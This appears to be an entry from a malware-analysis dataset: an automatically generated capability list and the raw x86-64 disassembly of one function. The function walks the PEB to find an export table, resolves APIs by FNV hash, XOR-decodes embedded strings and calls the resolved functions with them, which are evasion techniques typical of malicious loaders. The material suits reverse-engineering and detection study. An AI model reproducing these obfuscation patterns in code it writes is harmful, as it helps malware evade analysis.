Function at 0x180016340
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x68]
sub rsp, 0x160
mov rax, qword [0x18001f140]
xor rax, rsp
mov qword [rbp + 0x40], rax
mov eax, dword [0x18001d050]
movups xmm0, xmmword [0x18001ceb0]
movups xmm1, xmmword [0x18001cec0]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x18001ced0]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x18001cee0]
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x18001cef0]
movups xmmword [rbp - 0x20], xmm1
movups xmm1, xmmword [0x18001cf00]
movups xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x18001cf10]
movups xmmword [rbp], xmm1
movups xmm1, xmmword [0x18001cf20]
movups xmmword [rbp + 0x10], xmm0
movups xmm0, xmmword [0x18001cf30]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [0x18001cfe0]
movups xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x18001cff0]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x18001d000]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x18001d010]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x18001d020]
mov dword [rbp - 0x60], eax
movzx eax, word [0x18001d054]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x18001d030]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x18001d040]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x18001d056]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov byte [rbp - 0x5a], al
mov rax, qword gs:[0x60]
mov qword [r11 + 8], rsi
mov qword [r11 + 0x10], rdi
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800164d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800164d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd2b32ebf
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800164d2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1800164b0
cmp r8d, 0x4a82c01e
je 0x1800164dc
test r9d, r9d
jne 0x180016490
mov rax, qword [rax]
jmp 0x180016460
mov ecx, dword [rdi + 0x24]
xor ebx, ebx
mov r14d, dword [0x18001f188]
add rcx, r10
movaps xmmword [rsp + 0x150], xmm6
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r9d, dword [rcx + rdx*4]
mov ecx, ebx
add r9, r10
cmp r14d, 2
jl 0x180016654
movdqa xmm0, xmmword [0x18001d540]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x18001d3b0]
movdqa xmm4, xmmword [0x18001d530]
movdqa xmm6, xmmword [0x18001d400]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x18001d470]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18001d470]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x70
jl 0x180016550
cmp ecx, 0x77
jge 0x18001668e
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
sub al, dl
inc ecx
add al, 0x77
xor byte [r8 - 1], al
cmp ecx, 0x77
jl 0x180016660
lea rcx, [rsp + 0x30]
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x180016727
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x180016727
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xcdb0e849
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180016722
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180016700
cmp r8d, 0x7f094aa8
je 0x18001672c
test r9d, r9d
jne 0x1800166e0
mov rax, qword [rax]
jmp 0x1800166b0
mov ecx, dword [rsi + 0x24]
mov rdi, qword [rsp + 0x178]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
mov rsi, qword [rsp + 0x170]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
cmp byte [rbp + 0x3f], bl
je 0x1800168e0
cmp r14d, 2
jl 0x1800168a2
movdqa xmm0, xmmword [0x18001d540]
lea rcx, [rbp - 0x4c]
movdqa xmm5, xmmword [0x18001d3b0]
movdqa xmm4, xmmword [0x18001d530]
movdqa xmm6, xmmword [0x18001d400]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x18001d470]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18001d470]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x90
jl 0x1800167a0
jmp 0x1800168e0
lea rcx, [rbp - 0x50]
nop word [rax + rax]
mov eax, 0x66666667
lea rcx, [rcx + 1]
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, bl
sub al, dl
inc ebx
add al, 0x77
xor byte [rcx - 1], al
cmp ebx, 0x90
jl 0x1800168b0
lea rcx, [rbp - 0x50]
call r8
movaps xmm6, xmmword [rsp + 0x150]
mov al, 1
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.1800188d0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret